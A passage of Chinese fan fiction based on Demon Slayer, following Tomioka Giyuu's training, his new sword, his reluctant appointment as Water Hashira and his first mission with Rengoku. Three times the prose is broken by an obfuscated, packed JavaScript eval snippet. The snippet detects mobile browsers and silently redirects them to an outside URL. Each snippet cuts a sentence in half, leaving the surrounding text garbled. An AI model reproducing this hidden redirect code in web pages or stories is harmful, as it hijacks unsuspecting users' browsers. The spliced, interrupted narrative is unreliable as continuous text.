下一秒,所有人都闭上了嘴。 “医生给富冈喝了药,说他需要休息。刚刚药效上来,已经睡着了。”村田给大家解释。 知道富冈义勇去休息了,他们也不再围着医疗室,继续自己的训练了。 “好!趁富冈休息,我们努力赶上去吧!” “加油!” 悲鸣屿行冥看着热血的少年,不禁流下眼泪:“大家真是很努力呢。” 医生的药很有效,富冈义勇睡了一个晚上后就完全好了。 在病好以后,他成功收获了一碗大家煮的鱼汤,说是庆祝他痊愈。 富冈义勇有些手足无措地接过碗,又在大家期待的眼神喝完了汤。 鱼汤味道很好,虽然比不上萝卜鲑鱼,但还是很好吃。 富冈义勇放下喝完的碗,朝大家道谢:“谢谢。” 悲鸣屿行冥走了过来:“富冈,之前你已经完成了我给出的任务,给你换个题目吧。” “我自己的修行中,除了淋瀑布,还有背圆木、推石头和烤火堆这几项。作为新人,你们能完成淋瀑布就已经算合格。” “训练还有三天结束,你可以进行背圆木的训练。” “好。”富冈义勇的声音恢复了正常,是大家熟悉的清冷。 训练的最后一天。 富冈义勇站在圆木前,调整着自己的呼吸,保持着全呼吸的状态,伸出了双手。 圆木有两根,被绳子绑在一起。 富冈义勇呼吸不变,双手用力。 圆木被抬离地面。 见到富冈义勇在尝试背圆木,其他人也凑了过来。 他们不敢出声,甚至不敢靠近,就怕打扰到他。 富冈义勇双手继续用力,圆木被越抬越高。 所有人屏住呼吸。 圆木离地面越来越高,富冈义勇的双脚稳然不动,最后顺利地被他举了起来,还坚持了三十秒。 等他将圆木放下来时,一阵欢呼突然响了起来。 “哇!” “太棒了啊!” “富冈好厉害!” 富冈义勇被惊到,本就没有表情的脸上更加空白了。 最后,在欢声笑语里,所有人结束了他们的特训。 未来,他们将直面鬼的凶恶。 6. 第 6 章 在特训结束后,宽三郎落到了富冈义勇的肩膀上:“义勇,特训辛苦吗?” 富冈义勇想了想:“还好。训练都很有帮助。” 如果只是什么都不做,他可以维持24小时的全集中,但在训练的时候,还是会容易断。 他还是需要好好练习才是。 宽三郎飞起来,扇动翅膀,道:“义勇真厉害。” 富冈义勇嘴角似乎上扬了几分,不明显,但能看出来他有些高兴。 鬼杀队的大家都很好,即使他不爱说话,也没有孤立他,在他嗓子出问题的时候还很关心他。 在离开之前,富冈义勇去见了为他锻造刀的刀匠。 这位刀匠叫做近藤,来找富冈义勇的路上看到一些比较好的锻造材料,就花费了一点时间去采集。 等到了训练场地,特训也进入到了尾声。近藤想了想,就没去打扰富冈义勇训练。等到特训结束才让鎹鸦告诉富冈义勇他来了。 近藤和富冈义勇约在瀑布附近见面。 在湍急的水声里,近藤将刀递给了富冈义勇。 日轮刀由吸收阳光的猩猩绯砂铁和猩猩绯矿石锻造而成,具有限制鬼再生能力的特殊效能。 “握住试试。”近藤笑眯眯地看着富冈义勇,“日轮之刀也被叫做变色之刀,会根据主人改变颜色。” 富冈义勇双手捧着刀,慢慢将刀拔了出来。 他将刀打横握住,从刀把的地方,蓝色开始沿着刀刃蔓延。 “很符合你气质的颜色。”近藤满意地点点头。 富冈义勇将刀收起来:“谢谢。” 近藤拍了拍富冈义勇的肩膀,将给他带的食物递给他:“是一些小甜点,不知道你喜不喜欢吃。我听说你前几天嗓子不舒服,这些甜点都很软,吃起来也不费劲。” 富冈义勇一手拿着刀,一手接过甜点,不知道该如何回应这样的善意,只是又说了一声谢谢。 近藤揉了揉他的脑袋,把本就翘着的头发直接揉炸毛了:“我只会锻刀,在杀鬼一事上帮不了你太多。” 鬼杀队的一线队员很多都是一群才十来岁的少年。 明明是该被疼爱的年纪,却因为鬼的存在而家破人亡。 家人逝去的痛苦,他们比谁都清楚。 正因为不想这种惨剧重复,他们小小年纪就加入了鬼杀队。 燃烧自身的生命之火,化作夜晚的烈阳。 他们不畏牺牲,甘以此身肃清恶鬼。 违抗生理规律,在劣势的夜晚战斗,终夜不得入睡,只为守护普通人的安眠。 近藤从内心敬佩着这些队员,对着富冈义勇也带了一些疼爱。 他能感觉出来,面前的这个孩子是个好孩子。 “如果后面刀哪里用得不顺手,让鎹鸦告诉我,我给你调整。” 每个剑士都有自己的个人习惯,他们作为刀匠,也要结合剑士的习惯去为他们打造日轮刀。 富冈义勇乖巧点头,收好日轮刀,又在近藤期待的眼神里,打开包着甜心的袋子。 他取了一块,然后放进嘴里。 桂花味的糕点。 很松软,很好吃。 “怎么样?”近藤双手叉腰,一脸的笑意,“好吃吧?” 富冈义勇点头,等咽下嘴里的东西,才缓缓说:“很好吃。” 近藤拍了拍他的肩膀:“好了,我要走了。以后有需要,随时让鎹鸦联系我。” “嗯。”富冈义勇点头。 目送近藤离开后,宽三郎找到了富冈义勇。 “义勇,有任务了。” 富冈义勇收好甜点,也收到日轮刀。 他目光中没有多余的情绪,是水面一样的平静,以及一往无前的坚定:“好。” 对于鬼杀队的队员来说,在他们到达任务所在地之前,是无法确认要面对的鬼究竟是什么样的。 在以书信作为远程沟通方式的时代里,他们能够凭借鎹鸦获取到哪里有异常,就已经很不容易。 不管是新人,还是加入鬼杀队的老人,他们面临的危险都是一样的。 富冈义勇没有畏惧过。 杀鬼,休息养伤,精进剑术,然后再去杀鬼。 就这样循环往复,两年的时间匆匆而过。 这两年富冈义勇杀的鬼不少,鬼杀队给了不少补贴,为了方便,他就直接购置了一套住宅。 刚刚结束任务的富冈义勇打了个哈欠,眼睛半睁不睁的,显得有些困倦。 他一晚上没睡,又和一个下弦鬼缠斗了好一会,现在又累又困的。 富冈义勇正准备推开家门的时候,宽三郎忽然落到了他的肩上。 “义勇。”宽三郎有些犹豫,他知道富冈义勇很累了,但传来的消息又很紧急。 富冈义勇停下手里的动作,轻声说:“没事,说吧,是又有任务了吗?” 宽三郎摇了摇头:“义勇,主公召见。” 富冈义勇困顿的脑子清醒了大半,收回推门的手,将衣服上因为战斗而沾染的灰尘拍掉:“好,我知道了。” 一般没事的时候,主公是不会找他们这些队员的。现在主公召见,一定是有很紧急的事情。 富冈义勇拿好日轮刀,跟着宽三郎前往主公的住处。 但等他到了院子,发现就他一个人在,富冈义勇不禁疑惑地看了看周围。 屋里传来动静,下一秒就有女声响起:“主公大人驾到。” 富冈义勇直接半跪在地,等待产屋敷耀哉的出现。 产屋敷耀哉因为身体原因,平时很少出面,这两年里富冈义勇也没再见过他。但就算这样,富冈义勇一直很尊敬他。 “早上好,义勇。”产屋敷耀哉抬头看了看天空,“今天的天气看上去很好。” “很高兴能看到主公身体安康。”富冈义勇微微抬头。 产屋敷耀哉注意到他衣角的破损:“是刚刚结束任务回来吗?” 富冈义勇摇头:“在回来路上碰到了一个鬼,和他纠缠了一会。衣衫不整,还望主公见谅。” 落在树枝上的宽三郎小声地说:“义勇碰到了下弦之六。” 产屋敷耀哉听到了宽三郎的话,不禁有些开心:“义勇,你的实力越来越强了。” “多谢主公夸赞。”富冈义勇脸上的表情未变,依旧沉稳异常。 产屋敷耀哉不免在心里叹气,这孩子对当年的事仍旧耿耿于怀。 “和两年前比,你长高了很多。”产屋敷耀哉语气温柔,和他闲聊。 “队里给的补贴很多,我每天吃得都很饱。”富冈义勇回答。 产屋敷耀哉轻声笑了笑。富冈义勇是个很单纯的孩子,也正是因为这样,他才不知道如何和他说后面的事。 他轻轻叹息,也不再绕弯子,直接道:“义勇,或许你没有留意,但现在的你已经可以成为水柱了。” 富冈义勇愣住,放在腿上的右手攥紧,眼眸低沉。 水柱…… 在鬼杀队里,杀够50只鬼或者杀掉一个下弦鬼,才能成为柱。 柱的名字与剑士使用的呼吸法有关,水柱是只有使用水之呼吸的剑士才能担任。 在鬼杀队里,使用水之呼吸的人不在少数。 “主公,我没有资格。”富冈义勇答道。他从未认可过自己的资格,也从未想过自己能成为柱。 在正常的流程里,达到柱条件的人会直接被任命,并和其他柱一起召开任命会议。 产屋敷耀哉了解富冈义勇的过去,单独叫他前来而不通知其他的柱就是担心他会因为当年的事而不愿意接受水柱一职。 现下听到富冈义勇的回答,他更是确认了这一猜测。 这两年里,富冈义勇都在独自一人做任务,很少和其他队员联系。 产屋敷耀哉有心让他多和人相处,也给他安排过几个需要组队一起完成的。但不知道是他当年的心结尚未解开,还是他真的习惯了独来独往,即使需要组队,也是很少和人交流。 “义勇,我当年也说过,你拥有我的认可。”产屋敷耀哉看着富冈义勇,“过去不该成为你的负担。” “水柱理应属于当年的锖兔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153504|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”富冈义勇回答,“当年他凭借一己之力斩杀了下弦鬼。即使身死,也当有水柱之名。” 水柱一名,该属于锖兔,而不是他。 产屋敷耀哉清楚富冈义勇对规则的执着,也能明白他内心的矛盾。 鬼杀队是为了消灭世上所有恶鬼而存在的,富冈义勇也明白自己的志向与鬼杀队一致。 但他执行任务,只为完成自己的志向,而不把这些当作自己的功绩。 不和人交流,独来独往,都是因为他觉得自己没有资格和其他人比。 没有完成最终选拔的他,不该成为鬼杀队的一员,更不可能成为鬼杀队的柱。 产屋敷耀哉头一次觉得自己做错了决定。 他本以为这孩子会在慢慢解开心结,却不想两年过去,这份心结已快成了死结。 当年应该和富冈义勇多聊一聊的。 如今他的身体一天不如一天,现下更是分不出精力和富冈义勇促膝长谈。即使勉强撑着身体和他说话,也只会让他担心。 在产屋敷耀哉眼里,富冈义勇无愧于水柱一名。但为了让这孩子接受,只能换种说法了。 “义勇,初代的柱共有九名,而如今的我们只有岩柱和音柱两位。义勇,能杀了下弦鬼的你已经有了成为柱的实力,如果你不愿意接受水柱称号,那是否愿意承担水柱的责任?”产屋敷耀哉轻声说着。 富冈义勇一愣。 “我会向大家宣布水柱是你,但你可以认为自己只是暂代这一职。”产屋敷耀哉开始偷换概念,“如果你认为自己没有资格,那便当自己没有这一称号。还是像以前一样,可以去执行自己的任务,只不过多了定期和其他柱一起召开柱合会议这一点。” 富冈义勇有些犹豫:“可……” 他不排斥肩上的责任变多,只是自认不该拥有水柱一名。 “义勇,你否认你自己的实力吗?”产屋敷耀哉问他。 富冈义勇摇摇头。 他知晓自己的实力,也一直在渴望变强。 “你身上的羽织,有一半是属于锖兔的。”产屋敷耀哉语气温柔,“你一直没有忘记他,对吗?那你愿意接下本该属于他的责任吗?” 富冈义勇低着头,看着落在自己身侧的羽织。 柱是鬼杀队的最高等级,彰显了鬼杀队的实力,也是鬼杀队里某种精神象征。 他当年没有通过考核,又怎配得上这一等级。 但,他不会否认自己的能力。 “我愿意承担这份责任。但我认为,水柱并不是我。” 听到这个回答,产屋敷耀哉心里不禁叹息,他本想还说些什么,身体却撑不住了。 他轻咳出声,身体也颤抖起来,让身侧的两个女儿一脸担忧地看着他。 “主公要保重身体,无需为我忧虑。”富冈义勇说道。 歉意在产屋敷耀哉的心里蔓延开,这副身体到底是太过羸弱。 罢了。鬼杀队会不定期召开柱合会议,希望义勇和其他柱相处的时候能变得开朗起来吧。 面对一个认死理的人,其他人说什么都显得太轻。这孩子需要多和开朗热情的孩子相处。 想到这点,产屋敷耀哉离开的脚步忽然顿住。 很显然,他刚刚意识一件事。岩柱和音柱都算不上这样的人。 这两个孩子不会把义勇越带越偏吧? 但事已至此,产屋敷耀哉只能暂且按下这样的担心,希望一切朝好的方向走去。 富冈义勇目送产屋敷耀哉离开后,缓缓站起了身。 宽三郎落到他的肩膀上,用翅膀蹭了蹭他的脸颊。 “我没事的。”富冈义勇低语。 只要不去想,就不会难过。 他没事的。 富冈义勇微微抬起头,额前的碎发垂到耳侧。 或许是烈阳刺眼,也或许是过于困倦,富冈义勇眨了眨眼,缓解着眼角的酸意。 不能去想。 他只需要做好自己该做的事。 现在,先回家休息吧。 他觉得有些累了。 7. 第 7 章 在回家休息之前,富冈义勇刚收到了一个任务。为了避免出现更多的伤亡,他赶了一整天的路,才赶到目的地。 那里的鬼很好解决,是一只没有血鬼术但很会躲藏的鬼。 在解决掉这只鬼后,富冈义勇就往家里走,却没想到在路过一个驿站时碰到了下弦鬼。 夜晚的驿站是不缺人的。 为了不让下弦鬼伤人,他直接就和下弦鬼打了起来。 虽然受了些伤,但好在顺利地砍掉了鬼的头。 驿站离富冈义勇家不远,他就没有停歇,准备回家好好睡一觉。 等他回到家,已经快是中午了,没想到主公会突然召见他。 前文曾提过,鬼杀队的队员是不需要自己领取任务的。富冈义勇在砍掉鬼的头后,宽三郎就将任务完成的消息传了回去。 产屋敷耀哉本以为中午和富冈义勇见面时他已经休息好,却没想到他中间又碰到了下弦鬼。 信息差之下,这才让富冈义勇拖着疲惫的身体来见他。 虽然中间他已经察觉不妥,但水柱一事确实关键。而且产屋敷耀哉没让富冈义勇直接回去,也是想着可以趁富冈义勇疲惫,说不定好忽悠一点。 只是他没想到,提及往事会让富冈义勇的心绪如此起伏不定。 身上的伤口会随着时间慢慢愈合,但心上的伤,如果不去管,只会缓缓渗血,又在提及的那一刻,让伤口变得更深。 富冈义勇不爱表达自己的感受,这些年里又越来越会隐藏自己心中的情绪。在外人看来他越发沉稳和冷峻,但只有他自己知道,那些过去的一切,是被他刻意地遗忘。 碰到了,会疼。 所以不去碰,就不会疼。 伤口不管会好,这个,也一定一样。 他骗过了所有人,包括产屋敷耀哉,甚至是他自己。 这些年里,富冈义勇一直自认没有资格加入鬼杀队,是主公仁慈,才破例让他进了鬼杀队。 最开始,他认为自己比不上那些真正经历了磨练的队员,更没有资格和他们一起行动,所以一直独来独往,不愿和人同行。 因为他和他们不一样。 他并不觉得孤单,因为他身上有锖兔和茑子姐姐留下的遗物。将羽织穿在身上,仿佛他们也在陪着自己一样。 只是他不敢多想,不敢让自己多回忆一秒他们的往昔。 久远记忆里的或笑或泪,只会化作吞噬一切的悲伤。 他不能悲伤。 他必须坚强。 在一次又一次的强调中,富冈义勇觉得自己真的变得坚强起来。 只是…… 记忆仿佛被蒙了层纱,原本清晰的一切,变得模糊不清了。 他试图擦拭记忆,最先感受到的却是无尽的悲伤。 他不敢再碰了。 或许,这就是最好的办法。 时间会治愈一切。 这样,算是他的伤口在愈合吗? 富冈义勇不知道。 在离开主公的住处后,富冈义勇站在无人的街道上,轻抚着身上的羽织。 上面沾染着尘土,边缘的地方还出现了破碎。 “宽三郎,下弦鬼真的很难对付。” 不然他为什么会这么累,心也这么痛呢? 被打到的伤口已经被紧急处理过,明明已经不再渗血,却像是重新裂开,滚烫的血液在一点点渗出。 宽三郎没有落在富冈义勇的身上,而是扇动着翅膀,悬空在他的面前:“义勇,你需要休息。” 富冈义勇在内心不禁赞同。 是的,而且他需要去一躺治疗室,因为他可能并没有处理好自己的伤。 但是为什么? 他明明好好地把控着自己的身体状况。 和下弦鬼战斗时也避开了要害处。 可是他现下觉得头有些晕,被打到的地方在泛着疼,甚至心也在钝钝地疼痛。 他明明没有伤到心口。 “你愿意接下本该属于他的责任吗?” 主公的话语出现在富冈义勇的脑海里。 因为眩晕而有些繁杂的思绪变得更加混乱了。 锖兔……水柱…… 富冈义勇拍了拍自己的脸颊,让自己清醒一点。 “宽三郎,带我去治疗室吧。”富冈义勇斜靠在墙上,微微低着头,右手不自觉地攥着羽织。 缺觉、两场战斗带来的疲惫与虚弱以及情绪的波动,终是让富冈义勇有些撑不住了。 宽三郎察觉到他的不对劲,连忙飞近,用脑袋蹭了蹭富冈义勇的额头。 “别担心。我还有意识,也走得动。”富冈义勇的声音有些轻。 “义勇……”宽三郎忍不住担心,却又怕自己的话吵到富冈义勇,只能用同样轻的声音叫着他的名字。 富冈义勇微微闭上眼:“让我缓一缓,很快就好。” 宽三郎更担心了,想直接去治疗室叫人,又怕富冈义勇准备晕倒在这里。 “别担心,真的,我不会再让自己失去意识的。”富冈义勇缓缓抬手,摸了摸宽三郎的脊背,“我就是忽然觉得有些累。” 他一直很小心他的身体,战斗中也一直在留意。 他不允许自己在战斗中昏迷这件事再发生第二次。 富冈义勇靠墙站了会,觉得力气恢复了一些。他抬手揉了揉额角,低声轻语:“麻烦你了宽三郎,帮我带路吧。” 宽三郎知道富冈义勇不舒服,带路的时候也不说话,只是总要频繁地回头看看他。 富冈义勇走的速度不快,但很稳健。 就像他说的那样,他只需要休息一会。 给他一点时间,他会让自己好起来。 在到了医疗室门口的时候,富冈义勇不着痕迹地舒了口气。 他来治疗室的次数很多,以前从未觉得这段路这么难走。 看来今天身体是真的超负荷了。 下次不能再这样了。 医疗室的护士看到富冈义勇,连忙迎了上来,带他前去检查。 富冈义勇身上的伤不算重,但也绝对算不上轻,很多都是细小的伤口。他自己紧急处理过,都已经止住了血,治疗室的小护士们也只是帮他重新包扎了一下。 排除外伤,富冈义勇有些低烧,所以会觉得头晕。至于心口会疼,则被治疗室的医生当做了低烧的并发症。 因为要包扎伤口,富冈义勇的衣服被脱了下来,换上了病号服。 “富冈先生,请在这里好好休息吧。”护士扶着他来到病房,让他好好躺在床上。 富冈义勇点点头:“多谢。” 护士笑了笑,替他盖好被子:“等睡醒以后可以叫我们,我们帮你去拿吃的。” 躺好的他扭头看了看旁边的柜子,护士注意到他的动作,语气轻柔:“富冈先生请放心,羽织被我们拿去修补,修补好了以后我们会派人送过来。” 低烧带来的昏沉让富冈义勇的意识有些迷迷糊糊的,听到羽织还在的消息的时候才彻底放松了心神。 “谢谢。”近乎呢喃的话语,让护士又是心疼又是想笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原来不是说他。 他慢慢下床,想要去找些吃的。 “富冈先生,你睡醒了。”护士把不安生的队员赶回病房,扭头就看到了富冈义勇。 富冈义勇点头:“有些饿,就出来找点吃的。” 护士推着富冈义勇回屋子:“富冈先生你回去休息,我去给你拿。” “哦。”富冈义勇眨眨眼,又回到了床上。 护士让富冈义勇在屋里等着,她去拿了一些饭团过来:“现在只有饭团了。” 富冈义勇接过来饭团:“谢谢,足够了。” 护士笑了笑:“富冈先生总是这么客气。” 她拿来体温计,递给富冈义勇:“来量一下.体温,如果退烧了,明天就可以不吃药了。” 富冈义勇点头,一手拿着饭团,一手将体温计夹好。 等他吃完饭团,也差不多到了时间,富冈义勇将体温计还给护士。 护士对着看了看,不禁皱了皱眉:“还是有些烧。” 富冈义勇摸了摸自己的额头,觉得还挺正常。 “富冈先生是低烧,自己有可能感觉不出来,现在再躺下休息一会吧。”护士解释道。 富冈义勇乖乖地躺下,看着护士帮他掖掖被角。 “富冈先生,晚安。” “晚安。” 在重新躺到床上时,困意很快席卷而来,富冈义勇睡着了。 一.夜无梦。 8. 第 8 章 产屋敷耀哉后面得知了富冈义勇生病一事。 那时的他躺在床上,身上盖着被子。 纵有傲人的天才之能,却抵不过羸弱身体带来的虚弱。 产屋敷耀哉轻声叹息,左手握着天音的手:“天音,你说我是不是不该强行让义勇当上水柱?” 过去的事,他本以为会随着时间在富冈义勇的心中淡化,却没想到再次提及,会让义勇的心绪如此波动。 他难得感觉有些迷茫,一时也不知道该如何处理。 最好的时机,他已经错过了。 义勇心里的悲伤,并没有因为时间消散,反而在一日又一日的沉积下,变成最深的伤。 该怎么样才好? 义勇是个聪明又理智的孩子,他很清楚自己要好好活着,也忘不掉当年的弱小与无力。 他会照顾好自己的身体,却偏偏总是忽略自己的心。 而且他真的是个很认死理的孩子。 没有通过考核就是没有资格,这是无论其他人说什么都改变不了的认知。 这些年里,产屋敷耀哉一直很忧心富冈义勇。 就是因为他总是孤身一人。 产屋敷耀哉和鳞泷左近次通过信,他们聊起过富冈义勇。 在当年的特训结束后,富冈义勇没再回过狭雾山。 不管是鬼杀队,还是狭雾山,他都没有当作归处。 他始终认为自己没有资格。无论是留在鬼杀队,还是留在狭雾山。 即使他们都认为富冈义勇并没有错。 产屋敷耀哉和鳞泷左近次都明白,富冈义勇在内心很是尊敬他们,但除了尊敬,却并无亲近。 他衷心希望这群孩子们能好起来,却又不知道该如何劝慰富冈义勇。 不像悲鸣屿行冥和宇髄天元,他们都知道自己的伤痕,他也能看得出来,所以才能帮他们指明痊愈的方向。 但,富冈义勇藏起了自己的心伤。 不去看,不去想,伤痕也会不存在。 人无法叫醒装睡的人,也无法治好不认为自己有伤的人。 “伤口不管可能会自己愈合,却也可能因为没有及时处理而溃烂。”天音回握住产屋敷耀哉的手,“受伤的动物总是会躲起来,独自舔舐自己的伤口。你,我,都帮不了他。” 她拍了拍产屋敷耀哉的手:“让他多和人接触交流,我觉得不是一件坏事,我们都该相信他。” 产屋敷耀哉不禁叹气:“这孩子就是太认死理了。” 原本让富冈义勇当水柱,既是因为他有这个实力,也是因为产屋敷耀哉想让他和柱相处的时候能变得开朗起来。 把责任和名号分开的说法,也是想让富冈义勇能同意水柱的任命,好有机会和其他柱相处。 “只能先如此了。”产屋敷耀哉想到什么,“说起来,杏寿郎那孩子的性格热情,义勇多和他相处相处,说不定会看开一点。” “等水柱的任命仪式结束,可以安排他们一起去做任务。”天音建议道。 产屋敷耀哉点头。 “现在就先好好休息吧,后面的任命仪式还要你出席。”天音替他抚平被褥,想要扶他躺下。 产屋敷耀哉看向天音,抬手抚摸她的脸颊:“这些年,劳你费心了。” 天音轻轻笑笑:“一切甘愿。” 水柱的任命书很快就下达了。 所有鬼杀队的人都知晓他们又多了一位柱。 水柱——富冈义勇。 “哇!不愧是富冈!” “富冈居然这么快就成为柱了吗?!天才的世界与我等凡人差别居然如此之大!” “听说富冈还自创了水之呼吸的第十一式,果然成为柱的人都不简单啊!” 病刚刚好的富冈义勇没有听到众人对他的赞叹,他平静地从家出来,又平静地来到主公的住处。 他并不认为自己真的可以称为水柱,他只是暂代这一职,负责履行水柱的职责。 水柱的任命仪式并不隆重,流程也很简单。 现任的柱与新任柱均单膝跪地,主公产屋敷耀哉站在屋檐内。 产屋敷耀哉表情柔和,语气温柔:“我宣布,鬼杀队的柱新增一员,水柱——富冈义勇。” 他手里端着一件崭新的队服,象征着柱的金色扣子在阳光的照耀下闪闪发亮。 富冈义勇站起身,从产屋敷耀哉的手里接过新的队服。 悲鸣屿行冥不禁留下眼泪:“真是令人感动,当年的新人已经可以成为柱了。” 宇髄天元笑着:“这小子,两年过去,还是这么阴沉。” 产屋敷耀哉利用地形优势,摸了摸富冈义勇的头:“以后要和大家好好相处。” 富冈义勇微愣。 相处?不是只要开会的时候他来听一下就行了吗? 忽视掉富冈义勇心里的疑惑,产屋敷耀哉直接和三个人开启了会议。 富冈义勇不得其解,但还是乖乖退回去,安静地听产屋敷耀哉讲话。 柱和主公之间会不定期召开会议,成为柱合会议。在会议上,他们会对鬼杀队未来一段时间的发展进行讨论。 富冈义勇以前从未接触过这方面的事情,一场会议下来,真的全程都在听,甚至听得有些懵。 在最后结束的时候,原本冷峻的眼神甚至带了几分呆滞。 产屋敷耀哉最能感受人的变化,在心里轻笑,看向悲鸣屿行冥和宇髄天元:“行冥,天元,义勇刚刚成为柱,你们没事的时候都带带他。” “主公还是如此深明大义。”悲鸣屿行冥双手合十,念珠不停转动。 宇髄天元爽朗一笑:“那就让华丽的我带富冈一起华丽地做事吧。” 富冈义勇没有拒绝,因为刚刚谈及的事情他确实有很多没听懂。 见富冈义勇没有排斥,产屋敷耀哉不禁放下了心。 一定会好起来的,义勇。 会议结束后,他们目送着主公离开,才开始新的交谈。 产屋敷耀哉离开后,三个人之间的氛围也轻松了不少。 宇髄天元拍了拍富冈义勇的肩膀:“富冈,当年果然没看错你啊,进步这么快。” 悲鸣屿行冥站在富冈义勇身侧:“两年未见,当年你心中压抑的悲伤似乎不见了。” 富冈义勇有些无措。 他进步其实并不快,如果是锖兔的话,一定会比他现在做得很好。 他不会再让自己因为难过而什么都做不了了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153506|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然心里有很多话想说,但又觉得以自己的身份不该这么说,最后所有的言语,只化作了一个字:“嗯。” 宇髄天元不禁摇头:“还是这么不会说话。” “好了。以后大家都是同事,有什么想问的随时找我们,我们的住处你也知道的。”宇髄天元弹了一下自己额上的宝石,清脆的声音让富冈义勇不禁看过去。 宇髄天元注意到他的动作,忍住生气,用尽量平静的语调说:“不许问我弹宝石疼不疼的问题。” 富冈义勇似乎有些失望,只得点头示意他明白了。 宇髄天元不禁扶额,他和这小子真是相处不来啊。 悲鸣屿行冥还是靠谱些的,简明扼要地讲了讲柱所需要负责的内容,并详细地讲解了鬼杀队的运行模式。 富冈义勇认真听着。 等介绍完,悲鸣屿行冥望向宇髄天元的方向,和他点头示意。 宇髄天元明白悲鸣屿行冥的意思,双手叉腰和他并肩站在一起。 “富冈,恭喜你成为水柱。” “以后请多指教。” 衷心的祝愿,以及对未来相处的期待。 富冈义勇不知道该如何回应:“我……” 我没有资格和你们站在一起。 这句话尚未出口,宽三郎就飞了过来:“义勇,有任务了,是组队任务。” “去吧富冈,成为柱的第一场战斗,要华丽地完成啊。”宇髄天元笑得张扬。 悲鸣屿行冥语气沉稳:“一切小心。” 富冈义勇朝两个人道了声谢,就跟着宽三郎离开了。 躲在一边观察情况的产屋敷日香松了口气。 好在父亲那边行动及时,没让富冈先生说出什么我不是水柱的话。 富冈义勇跟着宽三郎来到了一家面馆,他这次的队员就在这里。 “好吃!”声音洪亮。 富冈义勇不禁看过去,然后轻轻歪了歪头。 火红色的猫头鹰? 宽三郎落在富冈义勇的肩上,悄悄说:“义勇,那位就是你的搭档。” 这次的任务是去调查一个村子,村里晚上经常有人失踪,怀疑是恶鬼吃人导致的。 这个村子曾有队员前去调查,但后面都没了消息,这才派富冈义勇和人一起组队前往救援。 按理说,如果队员遇害,鎹鸦起码有机会将信息传递回来,但这个任务有些稀奇地是鎹鸦和队员都没了消息。 前去调查信息的鎹鸦也没有回来过。 事出诡异,他们必须慎重。 原本这件事产屋敷耀哉是想指派给悲鸣屿行冥和宇髄天元两个人一起去的,毕竟两个柱前往会更有保障。 但没有任何消息传来,代表那里一定发生了什么不受控的事,除了实力,还要有足够的洞察力和大局观。 衡量之下,产屋敷耀哉最后决定让富冈义勇前往,只不过单他一个人去太过危险,就再安排了人手和他一起。 “你好,我是富冈义勇。”富冈义勇走到火红色猫头鹰身旁,直接自我介绍。 火红色猫头鹰放下手里的碗,扭头看向富冈义勇,然后露出开朗的笑容:“你好,我叫炼狱杏寿郎。” 新的任务,就此开启。 9. 第 9 章 “水柱大人,早上好。”炼狱杏寿郎有着一头黄色的头发,在发尾末端还有着红色,他的眼睛很大,眉毛上扬,嘴角还挂着很明显的笑容。 像是一团火焰不断燃烧。 “不用叫我水柱,喊我富冈就好。”富冈义勇纠正他的称呼。 炼狱杏寿郎点头,很快就改变了称呼:“富冈先生。” 富冈义勇点头,看了眼他桌上已经空掉的碗,主动问他:“吃饱了吗?没吃饱的话,要快点吃了。我们赶路要紧。” 炼狱杏寿郎直接站了起来,整理好自己的衣服:“已经吃饱了,我们现在就可以出发。” “好。”富冈义勇点头。 他一直没想过自己会成为柱,也没仔细了解过柱的事,以为柱和普通队员一样,只是多了能和主公见面的机会。结果除了需要负责划分区域的安全,柱还要负责管理鬼杀队的运营,在执行救援任务时,更要统筹安排人员的调动。 一向独来独往的他,忽然需要考虑这么多人的行动,对富冈义勇来说不是一件易事,不免让他有些头疼。但再头疼也要去做,毕竟他已经答应了主公。 看着面前开朗热情的炼狱杏寿郎,富冈义勇难得生出了几分羡慕。这样的人,处理这些事情,一定很得心应手。 不过富冈义勇也不认为自己会处理不好,他将在路上思考出来的安排告诉面前的人:“炼狱,我会把宽三郎留给隐的人带路,你的鎹鸦也知道任务方向。一会由他带路,我们先赶过去调查情况。那边情况异常,我们需要情报。宽三郎会带着隐的人不让他们太靠近,如果我们一个晚上解决不了,宽三郎会向主公报信增援。” “好的,没有问题。”炼狱杏寿郎果断回答。 富冈义勇对炼狱杏寿郎并不了解,不过主公让这个人和他一起行动,就说明他的能力不容小觑。 “那就开始行动吧。”富冈义勇朝外走。 炼狱杏寿郎叫来自己的鎹鸦,两个人飞快地往前走着。 宽三郎看着他们行动带起的灰尘:“要小心啊。” 这次行动他不能和义勇一起,心里着实有些担心。 他看着两个人越走越远,不再犹豫,往隐的方向飞去。 在赶路的时候,富冈义勇不禁侧头观察着炼狱杏寿郎。 这个人的速度很快。 为了能让炼狱杏寿郎跟上,富冈义勇一开始是放缓了脚步的,但炼狱杏寿郎跟起来显得非常轻松。 不愧是主公选中的人。 抓紧时间,富冈义勇也不在控制速度,直接全力赶路。见炼狱杏寿郎一直跟着,他也放下了心。 只是又在意起这个人到底能跑多快。等任务结束,想和他比试比试。 “富冈先生,怎么了吗?”炼狱杏寿郎注意到了富冈义勇的视线,便开口询问。 